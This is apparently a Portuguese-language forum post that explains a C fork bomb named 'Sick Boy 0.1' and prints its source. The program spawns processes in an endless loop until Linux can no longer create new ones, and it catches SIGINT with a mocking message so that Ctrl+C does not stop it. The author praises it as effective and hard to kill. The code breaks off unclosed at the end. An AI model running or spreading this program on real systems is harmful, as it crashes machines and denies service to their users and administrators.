Ele com o loop infinito deixa o sistema com muito processamento sendo "queimado", mas o fork() que gera a bagunça toda, pois ele gera vários e vários processos filhos, que geram mais processos filhos...
Então chega uma hora em que o linux não abre mais nada, respondendo algo como:
fork: serviço temporariamente ocupado.
Aqui o code original do morte:
Código:
/* Sick Boy 0.1, por Morte137 */
/* 2006, Brasil */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void sigint();
int main()
{
signal(SIGINT, sigint);
fprintf(stderr, "Eu sou um garoto doente =D\n");
while(1)
{
fork();
}
return(0);
}
void sigint()
{
signal(SIGINT, sigint);
fprintf(stderr, "Otário, eu num morro assim não =D\n");
*Mais completo, eficaz e não morre tão fácil.